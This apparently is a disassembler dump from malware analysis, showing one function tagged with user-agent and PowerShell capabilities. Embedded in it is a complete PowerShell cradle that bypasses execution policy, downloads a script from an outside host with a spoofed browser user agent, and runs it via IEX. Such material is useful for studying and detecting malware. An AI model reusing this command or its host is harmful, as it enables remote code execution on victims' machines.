Function at 0x410320
Capabilities:
Reference http user-agent string
Run powershell expression

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41c4c0
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x1020
call fcn.0041bde0
mov eax, dword [0x42c004]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 4], 0
call fcn.0040ffb0
push ecx
push 0
push 0x17745560
lea ecx, [ebp - 0x101c]
mov dword [ebp - 0x101c], 0
call fcn.00404370
add esp, 0xc
test eax, eax
jne 0x4103b5
mov esi, dword [ebp - 0x101c]
mov ecx, esi
call fcn.0040ab90
cmp dword [0x8f4eb8], 0
jg 0x4103d1
cmp dword [0x6b4ea0], 0
jg 0x4103d1
cmp dword [0x734ea8], 0
jg 0x4103d1
mov ecx, esi
call fcn.004042c0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0041084f
mov esp, ebp
pop ebp
ret
mov edx, 0x428928
mov ecx, esi
call fcn.0040cce0
mov edx, 0x428930
mov ecx, esi
call fcn.0040cce0
mov edx, 0x428938
mov ecx, esi
call fcn.0040cce0
mov edx, 0x428940
mov ecx, esi
call fcn.0040cce0
mov edx, 0x428948
mov ecx, esi
call fcn.0040cce0
mov edx, 0x428950
mov ecx, esi
call fcn.0040cce0
mov edx, 0x428958
mov ecx, esi
call fcn.0040cce0
mov bl, byte [0xaf58e0]
lea eax, [ebp - 0x818]
push 0x400
push ebx
push eax
call fcn.00411cd0
add esp, 0xc
lea ecx, [ebp - 0x818]
cmp word [ebp - 0x818], 0
mov edx, str._c_powershell__NoP__NonI__ExecutionPolicy_Bypass__Command___Resp__Invoke_WebRequest__Uri_https:__brewdogebar.com_code.vue__UseBasicParsing__UserAgent_Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_102.0.0.0_Safari_537.36___Scr___System.Text.Encoding_::UTF8.GetString__Resp.Content___IEX__Scr_
je 0x41045e
add ecx, 2
cmp word [ecx], 0
jne 0x410455
sub ecx, str._c_powershell__NoP__NonI__ExecutionPolicy_Bypass__Command___Resp__Invoke_WebRequest__Uri_https:__brewdogebar.com_code.vue__UseBasicParsing__UserAgent_Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_102.0.0.0_Safari_537.36___Scr___System.Text.Encoding_::UTF8.GetString__Resp.Content___IEX__Scr_
movzx eax, word [edx]
lea edx, [edx + 2]
mov word [ecx + edx - 2], ax
test ax, ax
jne 0x410464
push 0x400
lea eax, [ebp - 0x1018]
push ebx
push eax
call fcn.00411cd0
mov edx, 0x9c
add esp, 0xc
lea ecx, [edx - 0x68]
call fcn.00410740
push 0x400
lea ecx, [ebp - 0x1018]
push ecx
push 0xa3a4c0
call eax
dec eax
cmp eax, 0x3fe
ja 0x4104e0
cmp word [ebp - 0x1018], 0
je 0x4104e0
mov edx, 0x6e
lea ecx, [edx - 0x35]
call fcn.00410740
push 0
push 0
lea ecx, [ebp - 0x818]
push ecx
lea ecx, [ebp - 0x1018]
push ecx
push 0
push 0
call eax
mov edx, 0x176
mov ecx, 0x34
call fcn.00410740
push 1
push esi
call eax
test eax, eax
je 0x410517
xorps xmm0, xmm0
xor ebx, ebx
movlpd qword [ebp - 0x1028], xmm0
mov edi, 9
mov eax, dword [ebp - 0x1028]
xor esi, esi
jmp 0x4105c9
mov ecx, esi
call fcn.00402d00
mov ebx, dword [esi + 0x24]
mov edi, dword [esi + 0x20]
mov eax, edi
test ebx, ebx
jne 0x41057d
test edi, edi
jne 0x410533
lea edi, [eax + 0xa]
jmp 0x410538
cmp eax, 9
je 0x410566
mov ecx, dword [esi + 0x80]
test ecx, ecx
je 0x410547
call fcn.00404850
mov ecx, dword [esi + 0x44]
test ecx, ecx
je 0x410553
call fcn.00404850
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x41055f
call fcn.00404850
mov ecx, esi
call fcn.00404850
xorps xmm0, xmm0
xor ebx, ebx
movlpd qword [ebp - 0x1028], xmm0
xor esi, esi
mov eax, dword [ebp - 0x1028]
jmp 0x4105c9
mov eax, dword [esi + 4]
mov ecx, dword [esi + 0x80]
mov dword [ebp - 0x101c], eax
mov eax, dword [esi + 0x10]
mov dword [ebp - 0x1020], eax
test ecx, ecx
je 0x41059e
call fcn.00404850
mov ecx, dword [esi + 0x44]
test ecx, ecx
je 0x4105aa
call fcn.00404850
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x4105b6
call fcn.00404850
mov ecx, esi
call fcn.00404850
mov esi, dword [ebp - 0x101c]
mov eax, dword [ebp - 0x1020]
test edi, edi
jne 0x4103b5
push eax
push esi
push 0xa368c0
mov edx, 0xa3b2c0
mov ecx, 0xa376c0
call fcn.0040eff0
add esp, 0xc
lea ecx, [edi + 0x34]
mov edx, 0x96
call fcn.00410740
push esi
call eax
mov edx, 0x97
lea ecx, [edi + 0x34]
call fcn.00410740
push ebx
call eax
jmp 0x4103b5